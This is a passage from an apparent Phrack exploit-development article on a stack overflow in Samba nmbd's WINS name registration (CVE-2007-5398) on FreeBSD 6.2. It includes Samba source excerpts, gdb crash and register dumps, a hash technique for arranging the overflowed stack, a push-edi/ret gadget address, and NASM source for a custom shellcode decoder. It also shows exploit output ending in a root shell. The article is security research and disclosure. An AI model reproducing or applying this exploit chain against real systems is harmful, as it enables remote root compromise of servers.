 947           (nmb->header.opcode == NMB_NAME_REFRESH_OPCODE_8) ||
 948           (nmb->header.opcode == NMB_NAME_REFRESH_OPCODE_9) ||
 949           (nmb->header.opcode == NMB_NAME_MULTIHOMED_REG_OPCODE)) &&
 950           (nmb->header.arcount == 1)) {
 951 
 952     offset += put_compressed_name_ptr(ubuf,offset,nmb->additional,12);
 953 
 954         } else if (nmb->header.arcount) {
 955             offset += put_res_rec((char *)ubuf,offset,nmb->additional,
 956                         nmb->header.arcount);
 957         }
 958         return(offset);
 959 }
--------------------------------------------

Following the call to put_res_rec(), we see:

--------------------------------------------
 388 
 389 /*******************************************************************
 390  Put a resource record into a packet.
 391 ******************************************************************/
 392 
 393 static int put_res_rec(char *buf,int offset,struct res_rec *recs,
            int count)
 394 {
 395         int ret=0;
 396         int i;
 397 
 398         for (i=0;i<count;i++) {
 399                 int l = put_nmb_name(buf,offset,&recs[i].rr_name);
 400                 offset += l;
 401                 ret += l;
 402                 RSSVAL(buf,offset,recs[i].rr_type);
 403                 RSSVAL(buf,offset+2,recs[i].rr_class);
 404                 RSIVAL(buf,offset+4,recs[i].ttl);
 405                 RSSVAL(buf,offset+8,recs[i].rdlength);
 406                 memcpy(buf+offset+10,recs[i].rdata,recs[i].rdlength);
 407                 offset += 10+recs[i].rdlength;
 408                 ret += 10+recs[i].rdlength;
 409         }
 410 
 411         return(ret);
 412 }
 413 
--------------------------------------------

And following up with put_nmb_name():
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--------------------------------------------
 279 /*******************************************************************
 280  Put a compressed nmb name into a buffer. Return the length of the
 281  compressed name.
 282 
 283  Compressed names are really weird. The "compression" doubles the
 284  size. The idea is that it also means that compressed names conform
 285  to the doman name system. See RFC1002.
 286 ******************************************************************/
 287 
 288 static int put_nmb_name(char *buf,int offset,struct nmb_name *name)
 289 {
 290         int ret,m;
 291         nstring buf1;
 292         char *p;
 293 
 294         if (strcmp(name->name,"*") == 0) {
 295                 /* special case for wildcard name */
 296                 put_name(buf1, "*", ’\0’, name->name_type);
 297         } else {
 298                 put_name(buf1, name->name, ’ ’, name->name_type);
 299         }
 300 
 301         buf[offset] = 0x20;
 302 
 303         ret = 34;
 304 
 305         for (m=0;m<MAX_NETBIOSNAME_LEN;m++) {
 306                 buf[offset+1+2*m] = ’A’ + ((buf1[m]>>4)&0xF);
 307                 buf[offset+2+2*m] = ’A’ + (buf1[m]&0xF);
 308         }
 309         offset += 33;
 310 
 311         buf[offset] = 0;
 312 
 313         if (name->scope[0]) {
 314                 /* XXXX this scope handling needs testing */
 315                 ret += strlen(name->scope) + 1;
 316        safe_strcpy(&buf[offset+1],name->scope,sizeof(name->scope))  ;
 317 
 318                 p = &buf[offset+1];
 319                 while ((p = strchr_m(p,’.’))) {
 320                         buf[offset] = PTR_DIFF(p,&buf[offset+1]);
 321                         offset += (buf[offset] + 1);
 322                         p = &buf[offset+1];
 323                 }
 324                 buf[offset] = strlen(&buf[offset+1]);
 325         }
 326 
 327         return(ret);
 328 }
 329 
--------------------------------------------

And put_name():

--------------------------------------------
 262 /*************************************************************     **
 263  Put a netbios name, padding(s) and a name type into a 16 character 
      buffer.
 264  name is already in DOS charset.
 265  [15 bytes name + padding][1 byte name type].
 266 **************************************************************     */
 267 
 268 void put_name(char *dest, const char *name, int pad, 
                   unsigned int name_type     )
 269 {
 270         size_t len = strlen(name);
 271 
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 272      memcpy(dest, name, (len < MAX_NETBIOSNAME_LEN) ? 
                  len : MAX_NETBIOSN     AME_LEN - 1);
 273         if (len < MAX_NETBIOSNAME_LEN - 1) {
 274               memset(dest + len, pad, MAX_NETBIOSNAME_LEN - 1 - len);
 275         }
 276         dest[MAX_NETBIOSNAME_LEN - 1] = name_type;
 277 }
 278 
--------------------------------------------

So it appears with a large enough request, we can overflow the second 
char buf[1024]; in send_packet(), but due to stack cookies that may not
get us much.

Indeed, after a bit of experimenting, it looks like this is not exploitable
out of the box on Ubuntu, due to propolice/SSP, and the later code flow
does not appear to provide us with a mechanism where we can write to other 
memory we can control, unfortunately. That said, I may of missed something
obvious, or I might not of understood something correctly. If anyone has 
anything to the contrary, I would appreciate it.

Since the majority of other popular Linux platforms support SSP, I
decided to take a look at FreeBSD’s CURRENT platform, and see if that would
be vulnerable/exploitable, and by a quick objdump on the nmbd binary, it
appears to be. I was quite disappointed to learn that after experimenting 
with triggering the vulnerability, that it didn’t appear to be exploitable,
due to stack cookies. (At least, with my current knowledge and 
understanding, and sans bugs in the stack cookie check failure).

For what it’s worth, apparently OpenBSD and DragonFly BSD both use SSP and
other security mechanisms.. but I hardly ever do anything on *BSD work, 
and don’t overly care what they’re doing (or lack thereof)

--[ 5 - Writing an exploit for Samba Version 3.0.23c on FreeBSD 6.2

--[ 5.1 - Verifying valid registration flags

To correctly exploit the nmbd daemon, we’ll need to control the stack 
layout with precision. Reviewing how the data is laid out, we see that 
the flags parameter is used with what the host registered with. Due to 
potential restrictions, we need to validate what ranges are valid and can 
be used. 

By doing some quick grepping of the samba source code, we find the below 
code which modifies the flags:

--------------------------------------------
nmbd_packets.c:

uint16 get_nb_flags(char *buf)
{
        return ((((uint16)*buf)&0xFFFF) & NB_FLGMSK);
}

../include/nameserv.h:#define NB_FLGMSK 0xE0

nmbd_winserver.c:
void wins_process_name_registration_request(struct subnet_record *subrec,
                                            struct packet_struct *p)
{
        ...
        if(registering_group_name && (question->name_type != 0x1c)) {
                from_ip = *interpret_addr2("255.255.255.255");
        }
        ...

--------------------------------------------

From the above, we see what the only certain bits set in the request flags 
is valid, and depending on what those bits are, that they can modify the ip
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address associated with the register request. To keep things extremely 
simple, we will stick with using 0x0000 as the flags, and work out whatever
issues that brings us.

--[ 5.2 - Ordering the stack data correctly

Samba stores NMB registrations in the tdb[4] format, a database backend
designed by the Samba team to prevent re-implementing the same code several
times throughout Samba.

Due to the mechanisms that tdb uses, the way that nmbd returns our
registered flags and ip addresses are not necessarily in order that we
registered them. Further analysis reveals that we force a particular 
layout in order to exploit it correctly.

Looking at how names are looked up, we see:

--------------------------------------------
nmbd_winsserver.c:

static void process_wins_dmb_query_request(struct subnet_record *subrec,
                                           struct packet_struct *p)
{
        ...
        fetch_all_active_wins_1b_names();
        ...

void fetch_all_active_wins_1b_names(void)
{
        tdb_traverse(wins_tdb, fetch_1b_traverse_fn, NULL);
}

/***********************************************************************
 Fetch all *<1b> names from the WINS db and store on the namelist.
***********************************************************************/

static int fetch_1b_traverse_fn(TDB_CONTEXT *tdb, TDB_DATA kbuf, TDB_DATA 
                                dbuf, void *state)
{
        struct name_record *namerec = NULL;

        if (kbuf.dsize != sizeof(unstring) + 1) {
                return 0;
        }

        /* Filter out all non-1b names. */
        if (kbuf.dptr[sizeof(unstring)] != 0x1b) {
                return 0;
        }

        namerec = wins_record_to_name_record(kbuf, dbuf);
        if (!namerec) {
                return 0;
        }

        DLIST_ADD(wins_server_subnet->namelist, namerec);
        return 0;
}
--------------------------------------------

fetch_all_active_wins_1b_names() just calls tdb_traverse() with a call
back function of fetch_1b_traverse_fn(), which adds it to a temporary name
cache storage, at the top of a doubly linked list.

Looking at tdb_traverse(), it calls tdb_traverse_internal(), which is
where the majority of the work gets done. At this stage, it is probably 
easier to look at how data gets stored to the database, which happens in
tdb_store().

--------------------------------------------
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/* store an element in the database, replacing any existing element
   with the same key 

   return 0 on success, -1 on failure
*/
int tdb_store(struct tdb_context *tdb, TDB_DATA key, TDB_DATA dbuf, 
              int flag)
{

...

/* find which hash bucket it is in */
hash = tdb->hash_fn(&key);
if (tdb_lock(tdb, BUCKET(hash), F_WRLCK) == -1)
        return -1;

...

nmbd/nmbd_processlogon.c:tdb = tdb_open_log(lock_path("connections.tdb"),0,
nmbd/nmbd_winsserver.c:   wins_tdb = tdb_open_log(lock_path("wins.tdb"), 0,
                     TDB_DEFAULT|TDB_CLEAR_IF_FIRST, O_CREAT|O_RDWR, 0600);

tdb_private.h:#define BUCKET(hash) ((hash) % tdb->header.hash_size)

struct tdb_context *tdb_open(const char *name,int hash_size, int tdb_flags,
      int open_flags, mode_t mode)

...

if (hash_size == 0)
        hash_size = DEFAULT_HASH_SIZE;

tdb_private.h:#define DEFAULT_HASH_SIZE 131        
--------------------------------------------

From this, we can see that we need to use the hash_fn() (which defaults to
default_tdb_hash()) , and then we need to modulus the hash result by
DEFAULT_HASH_SIZE. By generating names that hash to 130, we can put our 
data in order on the stack, after every already existing 0x1b 
registrations. Before exploitation, we need to see how many existing 0x1b 
registrations exist, so that the stack can be overflowed correctly.

This reminds me of the Algorithmic Complexity attacks, outlined
here [5]. Not directly related, but still interesting none the less.

--[ 5.3 - Code execution analysis

By triggering the vulnerability and examining the stack layout, we see that
saved eip can be partially overwritten, with two bytes. If we overwrite 
once more, the top two bytes of eip will be the two flag bytes, and 
overwrite the first argument to the function. After the overwrite the value
of orig_packet, the nmbd code will index into it, to copy a 4 byte value, 
as seen below.

--------------------------------------------
nmbd_packets.c, send_reply_packet():
 973         packet.fd = orig_packet->fd;
--------------------------------------------

So far in the analysis, a partial overwrite of the two least significant 
bytes of eip seems to be the best course of action, as it’s unlikely we can 
put anything useful in the top two bytes (due to the flags). Causing an 
overwrite of the least significant bytes with "D"’s, show:

--------------------------------------------
Program received signal SIGSEGV, Segmentation fault.
0x08074444 in packet_is_for_wins_server ()
(gdb) x/10i $eip
0x8074444 <packet_is_for_wins_server+236>:     mov    0x400(%ebx),%eax



phrack65/12.txt Fri Jul 01 13:24:52 2022 18

0x807444a <packet_is_for_wins_server+242>:     mov    (%eax),%eax
0x807444c <packet_is_for_wins_server+244>:     cmpl   $0x9,(%eax)
0x807444f <packet_is_for_wins_server+247>:     jle    0x80743a1
<packet_is_for_wins_server+73>
0x8074455 <packet_is_for_wins_server+253>:     push   $0x1fa
0x807445a <packet_is_for_wins_server+258>:     lea    0xfffd66ad(%ebx),%eax
0x8074460 <packet_is_for_wins_server+264>:     push   %eax
0x8074461 <packet_is_for_wins_server+265>:     lea    0xfffd6479(%ebx),%eax
0x8074467 <packet_is_for_wins_server+271>:     push   %eax
0x8074468 <packet_is_for_wins_server+272>:     push   $0xa
(gdb) i r ebx
ebx            0x0      0
(gdb) i r  
eax            0x1      1
ecx            0x2834fd80       674561408
edx            0x40     64
ebx            0x0      0
esp            0xbfbfe540       0xbfbfe540
ebp            0x44440000       0x44440000
esi            0x0      0
edi            0x41414141       1094795585
eip            0x8074444        0x8074444
eflags         0x10282  66178
cs             0x33     51
ss             0x3b     59
ds             0x3b     59
es             0x3b     59
fs             0x3b     59
gs             0x1b     27
--------------------------------------------

We can see that we can completely control edi and to a lesser extent ebp.

Looking at the disassembly of the applicable epilogue of the
reply_netbios_packet() function, we see:

--------------------------------------------
.text:0806D0A0                 pop     edi
.text:0806D0A1                 leave
.text:0806D0A2                 retn
--------------------------------------------

To gain complete control of eip, we can look for a jmp edi or push edi ;
ret. After some searching in 0x0807xxxx, a suitable instruction sequence 
is found (via incredibly lame means.. but it worked :p): 

--------------------------------------------
freebsd62# objdump -d nmbd | egrep -i "^ 807.*57 c[23]"
 80728a4:       e8 57 c2 04 00          call   80beb00 <x_fclose>
--------------------------------------------

which translates into a push edi ; ret 0x04. By setting our last two bytes
to 0x080728a5, we can get direct control:

--------------------------------------------
(gdb) r
Starting program: /usr/local/sbin/nmbd -F -s smb.conf
(no debugging symbols found)...(no debugging symbols found)...(no debugging
symbols found)...(no debugging symbols found)...(no debugging symbols
found)...(no debugging symbols found)...(no debugging symbols found)...(no
debugging symbols found)...(no debugging symbols found)...(no debugging
symbols found)...y

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
--------------------------------------------

From this point of time, we need to get shellcode running correctly. 
Thinking back to how the data is laid out ([2 byte flags, both null][4 byte 
ip address]).. it’s probably the best approach to write a custom decoder.
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--[ 5.4 - Shellcode

As discussed above, a special decoder would be needed so what we can use
generic shellcode available, as opposed to porting common shellcode to 
account for 1/3 of the bytes being rubbish.

After experimenting, I wrote a shellcode that would reconstruct 4 bytes, 
then skip two bytes, then jump to the place where we re-constructed the 
shellcode.

Shellcode is as follows (nasm -f bin first_layer_sc.asm -o
first_layer_sc.bin to compile.). At entry of the shellcode, edi points to
our current eip.

--------------------------------------------
BITS 32

%define tbnop add byte [eax],0x0        ; 0x80 0x00 0x00

_start:
        add [eax], al           ; two byte nulls, for flags.

        cld                     ; reset direction flag
        mov eax, edi            ; since our two byte nop dereferences [eax]
                                ; we need a writable memory location.

        tbnop                   

        mov esi, edi            ; ESI = source of encoded shellcode
        nop

        tbnop

        add esi, byte 60        ; increment esi to start of real shellcode

        tbnop

        mov edi, esp            ; Place we’re going to execute
        nop

        tbnop 

        xor ecx, ecx
        nop

        tbnop

        mov cl, byte 0x7e       ; how many bytes we want to copy. Can copy up
                                ; 126 bytes or so. This can be fixed if
                                ; nessessacy
        nop
        tbnop

.copier:
        movsd
        nop 
        nop
        tbnop

        add esi, byte 0x02
        tbnop

        loopnz .copier
.ready:
        jmp esp
--------------------------------------------

For the second layer shellcode, we can use any shellcode we want. For
additional flexibility, I have used the InlineEgg [6] package to
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allow for greater flexibility in the second layer shellcode. 

Encoding the shellcode for registration packets is extremely straight 
forward. Change the endian / ordering of 4 bytes and append 2 NULL bytes.

Ideally, the second layer shellcode would encode the shell registration
information over the existing socket / fd information, using the nmb 
protocol.
If it where a more useful exploit, it would be worth while expending the
effort to write the required code.

--[ 5.5 - Getting a shell

By combining the above information, and determining where in the stack the
shellcode lies, we can get a shell:

--------------------------------------------
[target machine]
(gdb) shell rm /var/db/samba/wins.*
(gdb) r
Starting program: /usr/local/sbin/nmbd -F -s smb.conf
(no debugging symbols found)...(no debugging symbols found)...(no debugging
symbols found)...(no debugging symbols found)...(no debugging symbols
found)...(no debugging symbols found)...(no debugging symbols found)...(no
debugging symbols found)...(no debugging symbols found)...(no debugging
symbols found)...
Program received signal SIGTRAP, Trace/breakpoint trap.
Cannot remove breakpoints because program is no longer writable.
It might be running in another process.
Further execution is probably impossible.
0x28065af0 in ?? ()
(gdb) # This happened because our nmbd executed a new program
(gdb) c

[attacking machine]
$ python CVE-2007-5398.py --host 172.16.178.128 --target 0 
Hit y if you want to test registration flags, otherwise just hit enter> 
Existing registrations:  0
Amount of registrations to reach EIP:  239
Got 0 existing registrations. Hit any key to continue... 
First layer of shellcode is 66 bytes long
Second layer of shellcode is 246 bytes long
Names: |==========================================================| 100.00
Registering: |====================================================| 100.00
stack left over: 
Please hit enter to send final packet... 
Attempting to connect to 172.16.178.128:31337
 -------------------------------------------
You are in luck; it appears to of worked... shell below.
--
# It worked
# id
uid=0(root) gid=0(wheel) groups=0(wheel), 5(operator)
# uname -a
FreeBSD freebsd62 6.2-RELEASE FreeBSD 6.2-RELEASE #0: Fri Jan 12 10:40:27 
2007     root@dessler.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  i386
--------------------------------------------

So, with a bunch of research and analysis, we’re only part way there. It 
would be nice to have a better place to return to. 

--[ 5.6 - Making the exploit more reliable

Currently, our exploit has two hard coded entries, the first of which is 
the location of a sequence of code which uses edi to gain code execution 
(so far, 0x080728a5 (for our current target of FreeBSD 6.2). Additionally, 
it uses the exact location of the start of the shellcode. Due to various 
reasons, the stack address can change easily for such an exact address, due 
to reasons such as:
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 * Starting or restarting nmbd manually
 * Differing environmental strings
 * In later Linux 2.6 series, memory randomisation is enabled by default, 
   for certain mappings.

There are a couple of opportunities to make this exploit more reliable, 
such as adding large nop sequences, or perhaps putting / finding some 
suitable code elsewhere.

The larger nop sequence may help, but 1/3 of the bytes are NULL / not 
useful, so it is debatable. Additionally, this means if the range was 
accurate, we have only a 2/3 chance of hitting a suitable nop sequence, as 
opposed to outright crashing (as "\x00\x00" encodes to add [eax], al, and 
since eax will be one (1) when the nop sequence is hit, it will crash.) So, 
for the time being we will look for another place / way to gain reliable 
execution control.

--[ 5.6.1 - static .bss data

While analysing this vulnerability, I noticed an interesting function that
gets called when sending registration packets:

--------------------------------------------
nmbd/nmbd_winsserver.c:

/*************************************************************************
 Overwrite or add a given name in the wins.tdb.
*************************************************************************/

static BOOL store_or_replace_wins_namerec(const struct name_record *namerec
                                          ,int tdb_flag)
{
        TDB_DATA key, data;
        int ret;

        if (!wins_tdb) {
                return False;
        }

        key = name_to_key(&namerec->name);
        data = name_record_to_wins_record(namerec);

        if (data.dptr == NULL) {
                return False;
        }

        ret = tdb_store(wins_tdb, key, data, tdb_flag);

        SAFE_FREE(data.dptr);
        return (ret == 0) ? True : False;
}

...

/*************************************************************************
 Create key. Key is UNIX codepage namestring (usually utf8 64 byte len) 
 with 1 byte type.
*************************************************************************/

static TDB_DATA name_to_key(const struct nmb_name *nmbname)
{
        static char keydata[sizeof(unstring) + 1];
        TDB_DATA key;

        memset(keydata, ’\0’, sizeof(keydata));

        pull_ascii_nstring(keydata, sizeof(unstring), nmbname->name);
        strupper_m(keydata);
        keydata[sizeof(unstring)] = nmbname->name_type;
        key.dptr = keydata;
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        key.dsize = sizeof(keydata);

        return key;
}
--------------------------------------------

The most interesting about the above is the static char
keydata[sizeof(unstring) + 1]; which gives us the ability to put upto 64
bytes into a static location in the .bss. However, since NetBIOS names are
15 chars long, there is still a lot of code that could be put here. Some
information on small shellcodes to find things can be found here [7]

name_to_key() is called from three locations in the code, with self
explaining names (not including the above store_or_replace_wins_namerec():

--------------------------------------------
/*************************************************************************
 Delete a given name in the tdb and remove the temporary malloc’ed data 
 struct on the linked list.
*************************************************************************/

BOOL remove_name_from_wins_namelist(struct name_record *namerec)
{

...

struct name_record *find_name_on_wins_subnet(const struct nmb_name *nmbname
                                             ,BOOL self_only)
{
...

--------------------------------------------

Of interest is the store_or_replace_wins_namerec() which is called when 
sending the registration packets to trigger the overflow. We may be able to
send a suitable, short, shellcode that finds our loader shellcode in the
stack (or, with more effort, on the heap, thus avoiding Openwall style
non-executable stack patches).

Being able to use this static location gives us some advantages over stack
randomisation / changes. 

Looking further into pull_ascii_nstring() we see that it does DOS code page
mappings to UNIX code pages, especially relating to bytes with high bits
installed. Unfortunately, it heavily mangles the input (via the translation
phase), then performs an uppercase operation on the string. I experimented
with the above restrictions and was not get anything working, but it went 
over the length restriction. The idea worked on:

 * push esp
 * pop ebp
 * push edi
 * pop esp
 * using pop to access the code we’re executing
 * using the charcase conversion to get 4 bytes with the most significant
   bit set from 1 byte.
 * using xor [edi+index], reg to modify the applicable code we’re executing
   ,then to do something equivilent to sub ebp, <offset> ; jmp ebp

If anyone works out a suitable shellcode that fits in those restrictions, I
would definately be interested in hearing from you. I suspect given more 
time / motivation something would come up, and in hindsight would be a 
"that’s obvious" case. Additionally, we can control the contents of the top 
two bytes of ebp, which may be useful in some way for coding the shellcode. 
Possibly something like:

 * push ebp
 * inc esp ; skip over null byte
 * inc esp 
 * byte with high bit set that gets translated into a 0xc3 (ret
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   instruction)
 * What two arbitrary bytes it executes has to be chosen carefully. A jmp
   sled backwards may work, but certain data structures can not be modified
   randomly as nmbd will crash before code execution takes place.

Another potential static address we could use is the following:

--------------------------------------------
libsmb/nmblib.c:

1123 static unsigned char sort_ip[4];
1124 
1125 /*********************************************************************
1126  Compare two query reply records.
1127 *********************************************************************/
1128 
1129 static int name_query_comp(unsigned char *p1, unsigned char *p2)
1130 {
1131         return matching_quad_bits(p2+2, sort_ip) - 
                     matching_quad_bits(p1+2, sort_ip);
1132 }
1133 
1134 /*********************************************************************
1135  Sort a set of 6 byte name query response records so that the IPs that
1136  have the most leading bits in common with the specified address come 
      first.
1137 *********************************************************************/
1138 
1139 void sort_query_replies(char *data, int n, struct in_addr ip)
1140 {
1141         if (n <= 1)
1142                 return;
1143 
1144         putip(sort_ip, (char *)&ip);
1145 
1146         qsort(data, n, 6, QSORT_CAST name_query_comp);
1147 }
--------------------------------------------

which is reachable from nmbd/nmbd_winsserver.c:

--------------------------------------------
1831 void send_wins_name_query_response(int rcode, struct packet_struct *p,
1832                                           struct name_record *namerec)
1833 {
1834         char rdata[6];
1835         char *prdata = rdata;
1836         int reply_data_len = 0;
1837         int ttl = 0;
1838         int i;
1839 
1840         memset(rdata,’\0’,6);
1841 
1842         if(rcode == 0) {
1843                 ttl = (namerec->data.death_time != PERMANENT_TTL) ?  
          namerec->data.death_time - p->timestamp : lp_max_wi     ns_ttl();
1844 
1845               /* Copy all known ip addresses into the return data. */
1846               /* Optimise for the common case of one IP address so we
                      don’t need a malloc. */
1847 
1848                 if( namerec->data.num_ips == 1 ) {
1849                         prdata = rdata;
1850                 } else {
1851                         if((prdata = (char *)
                       SMB_MALLOC( namerec->data.num_ips * 6 )) == NULL) {
1852          DEBUG(0,("send_wins_name_query_response: malloc fail !\n"));
1853                                 return;
1854                         }
1855                 }
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1856 
1857                 for(i = 0; i < namerec->data.num_ips; i++) {
1858                     set_nb_flags(&prdata[i*6],namerec->data.nb_flags);
1859                 putip((char *)&prdata[2+(i*6)], &namerec->data.ip[i]);
1860                 }
1861 
1862                 sort_query_replies(prdata, i, p->ip);
1863                 reply_data_len = namerec->data.num_ips * 6;
1864         }
1865 

--------------------------------------------

But I have not explored this path fully, but I don’t think it would help 
too much.

After looking over what could be done with such restrictions, I started
looking around the code to see if there was any easier mechanisms that 
would give assistance in exploiting this issue reliably. I noticed a couple 
of static buffers that could be useful, but they required debugging to be
enabled to be exploited correctly - not exactly a good requirement for a 
reliable exploit.

--[ 5.6.2 - Memory leak

During the initial process of attempting to replicate the issue, I noticed
that nmbd would attempt to read from memory that we control - perhaps we 
can find a memory leak / information disclosure that is useful. Starting 
off with setting all normally NULL IP address to AABB, we see the first 
crash:

--------------------------------------------
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /usr/local/sbin/nmbd -F -s smb.conf 
Program received signal SIGSEGV, Segmentation fault.
0x080adc67 in debug_nmb_res_rec ()
(gdb) bt
#0  0x080adc67 in debug_nmb_res_rec ()
#1  0x080ae023 in debug_nmb_packet ()
#2  0x0806d1f8 in reply_netbios_packet ()
#3  0x080728a5 in write_browse_list ()
Previous frame inner to this frame (corrupt stack?)
(gdb) x/10i $eip
0x80adc67 <debug_nmb_res_rec+47>:  mov    0x60(%edx),%ecx
0x80adc6a <debug_nmb_res_rec+50>:  test   %ecx,%ecx
0x80adc6c <debug_nmb_res_rec+52>:  je     0x80add89 <debug_nmb_res_rec+337>
0x80adc72 <debug_nmb_res_rec+58>:  cmp    $0xffffff9c,%edx
0x80adc75 <debug_nmb_res_rec+61>:  je     0x80add89 <debug_nmb_res_rec+337>
0x80adc7b <debug_nmb_res_rec+67>:  cmp    $0x0,%ecx
0x80adc7e <debug_nmb_res_rec+70>:  movl   $0x0,0xffffffe8(%ebp)
0x80adc85 <debug_nmb_res_rec+77>:  jle    0x80add89 <debug_nmb_res_rec+337>
0x80adc8b <debug_nmb_res_rec+83>:  mov    0x400(%ebx),%eax
0x80adc91 <debug_nmb_res_rec+89>:  mov    %eax,0xffffffe0(%ebp)
(gdb) i r edx ecx
edx            0x41414242       1094795842
ecx            0x42420000       1111621632
(gdb) bt
#0  0x080adc67 in debug_nmb_res_rec ()
#1  0x080ae023 in debug_nmb_packet ()
#2  0x0806d1f8 in reply_netbios_packet ()
#3  0x080728a5 in write_browse_list ()
--------------------------------------------

Starting our analysis at debug_nmb_packet() in libsmb/nmblib.c: 

--------------------------------------------
 103 
 104 /********************************************************************
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 105  Process a nmb packet.
 106 ********************************************************************/
 107 
 108 void debug_nmb_packet(struct packet_struct *p)
 109 {
 110         struct nmb_packet *nmb = &p->packet.nmb;
 111 
 112         if( DEBUGLVL( 4 ) ) {
...
 131         }
 132 
 133         if (nmb->header.qdcount) {
 134       DEBUGADD( 4, ( "    question: q_name=%s q_type=%d q_class=%d\n",
...
 138         }
 139 
 140         if (nmb->answers && nmb->header.ancount) {
 141                 debug_nmb_res_rec(nmb->answers,"answers");
 142         }
 143         if (nmb->nsrecs && nmb->header.nscount) {
 144                 debug_nmb_res_rec(nmb->nsrecs,"nsrecs");
 145         }
 146         if (nmb->additional && nmb->header.arcount) {
 147                 debug_nmb_res_rec(nmb->additional,"additional");
 148         }
 149 }

(gdb) frame 1
#1  0x080ae023 in debug_nmb_packet ()
(gdb) x/8x $esp
0xbfbfdef0:     0x00000000      0x00000000      0x4795ddfa      0x08117a40
0xbfbfdf00:     0xbfbfe210      0x0000059a      0xbfbfe538      0x0806d1f8

Let’s take a guess that 0xbfbfe210 is our nmb packet:

(gdb) x/x 0xbfbfe210    
0xbfbfe210:     0x41414242
(gdb) x/20x 0xbfbfe210
0xbfbfe210:     0x41414242      0x42420000      0x00004141      0x41414242
0xbfbfe220:     0x42420000      0x00004141      0x41414242      0x42420000
0xbfbfe230:     0x00004141      0x41414242      0x42420000      0x00004141
0xbfbfe240:     0x41414242      0x42420000      0x00004141      0x41414242
0xbfbfe250:     0x42420000      0x00004141      0x41414242      0x42420000
--------------------------------------------

So the above analysis makes sense. We have overwritten certain data 
structures it is looking at. Moving on, in debug_nmb_res_rec() we see: 

--------------------------------------------
  61 /*********************************************************************
  62  Print out a res_rec structure.
  63 *********************************************************************/
  64 
  65 static void debug_nmb_res_rec(struct res_rec *res, const char *hdr)
  66 {
  67         int i, j;
  68 
  69  DEBUGADD( 4, ( "    %s: nmb_name=%s rr_type=%d rr_class=%d ttl=%d\n",
  70                 hdr,
  71                 nmb_namestr(&res->rr_name),
  72                 res->rr_type,
  73                 res->rr_class,
  74                 res->ttl ) );
  75 
  76         if( res->rdlength == 0 || res->rdata == NULL )
  77                 return;
  78 
  79         for (i = 0; i < res->rdlength; i+= MAX_NETBIOSNAME_LEN) {
  80                 DEBUGADD(4, ("    %s %3x char ", hdr, i));
  81 
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  82                 for (j = 0; j < MAX_NETBIOSNAME_LEN; j++) {
  83                         unsigned char x = res->rdata[i+j];
  84                         if (x < 32 || x > 127)
  85                                 x = ’.’;
  86 
  87                         if (i+j >= res->rdlength)
  88                                 break;
  89                         DEBUGADD(4, ("%c", x));
  90                 }
  91 
  92                 DEBUGADD(4, ("   hex "));
  93 
  94                 for (j = 0; j < MAX_NETBIOSNAME_LEN; j++) {
  95                         if (i+j >= res->rdlength)
  96                                 break;
  97                 DEBUGADD(4, ("%02X", (unsigned char)res->rdata[i+j]));
  98                 }
  99 
 100                 DEBUGADD(4, ("\n"));
 101         }
 102 }
 103 
--------------------------------------------

That code is not very useful at the moment. If the pointers where valid, 
it’d work (not surprisingly).

Looking at the code flow from send_packet(), (code is above), we hit some
interesting code that we can use for an information leak.

--------------------------------------------
Starting program: /usr/local/sbin/nmbd -F -s smb.conf 
debugging symbols found)...(no debugging symbols found)...(no debugging
symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x080ada3d in put_nmb_name ()
(gdb) bt
#0  0x080ada3d in put_nmb_name ()
#1  0x080ae26a in put_res_rec ()
#2  0x080af184 in build_packet ()
#3  0x080af236 in send_packet ()
#4  0x0806d38a in reply_netbios_packet ()
#5  0x080728a5 in write_browse_list ()
Previous frame inner to this frame (corrupt stack?)
(gdb) x/10i $eip
0x80ada3d <put_nmb_name+49>:    repz cmpsb %es:(%edi),%ds:(%esi)
0x80ada3f <put_nmb_name+51>:    jne    0x80adab5 <put_nmb_name+169>
0x80ada41 <put_nmb_name+53>:    mov    0x8(%ebp),%edi
0x80ada44 <put_nmb_name+56>:    pushl  0x50(%edi)
0x80ada47 <put_nmb_name+59>:    push   $0x0
0x80ada49 <put_nmb_name+61>:    pushl  0xffffffcc(%ebp)
0x80ada4c <put_nmb_name+64>:    lea    0xffffffd8(%ebp),%eax
0x80ada4f <put_nmb_name+67>:    push   %eax
0x80ada50 <put_nmb_name+68>:    call   0x80ad98c <put_name>
0x80ada55 <put_nmb_name+73>:    mov    0xffffffd4(%ebp),%edx
(gdb) i r edi esi
edi            0x8102db9        135278009
esi            0x0      0
--------------------------------------------

Unfortunately, the above is crashing due to a NULL pointer dereference in
esi when testing the contents of the name. (This piece of code is mapped to
the check where the name is tested against ’*’ in put_nmb_name().)

At this point of time I’ve decided that it is probably easier to start
analysing the contents of reply_netbios_packet() so that I can see exactly
what is being overwritten, where, and work out what effects it may have. 
For this we’ll use IDA Pro Standard 5.2

First off, let’s take a better look at what is happening in the source 
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code,  it’ll help with analysis of the assembly.

--------------------------------------------
nmbd/nmbd_winsserver.c:
 856 /*********************************************************************
 857   Reply to a netbios name packet.  see rfc1002.txt
 858 *********************************************************************/
 859 
 860 void reply_netbios_packet(struct packet_struct *orig_packet,
 861          int rcode, enum netbios_reply_type_code rcv_code, int opcode,
 862                           int ttl, char *data,int len)
 863 {
 864         struct packet_struct packet;
 865         struct nmb_packet *nmb = NULL;
 866         struct res_rec answers;
 867         struct nmb_packet *orig_nmb = &orig_packet->packet.nmb;
 868         BOOL loopback_this_packet = False;
 869         int rr_type = RR_TYPE_NB;
 870         const char *packet_type = "unknown";
 871 
 872         /* Check if we are sending to or from ourselves. */
 873  if(ismyip(orig_packet->ip) && (orig_packet->port == global_nmb_port))
 874                 loopback_this_packet = True;
 875 
 876         nmb = &packet.packet.nmb;
 877 
...
 965         if (data && len) {
 966                 nmb->answers->rdlength = len;
 967                 memcpy(nmb->answers->rdata, data, len);
 968         }
 969 
...
unfortunately, the nmb pointer is not used after line 967.
...

include/nameserv.h:
524 
525 struct packet_struct
526 {
527         struct packet_struct *next;
528         struct packet_struct *prev;
529         BOOL locked;
530         struct in_addr ip;
531         int port;
532         int fd;
533         time_t timestamp;
534         enum packet_type packet_type;
535         union {
536                 struct nmb_packet nmb;
537                 struct dgram_packet dgram;
538         } packet;
539 };
540 

..

459 /* An nmb packet. */
460 struct nmb_packet {
461         struct {
462                 int name_trn_id;
463                 int opcode;
464                 BOOL response;
465                 struct {
466                         BOOL bcast;
467                         BOOL recursion_available;
468                         BOOL recursion_desired;
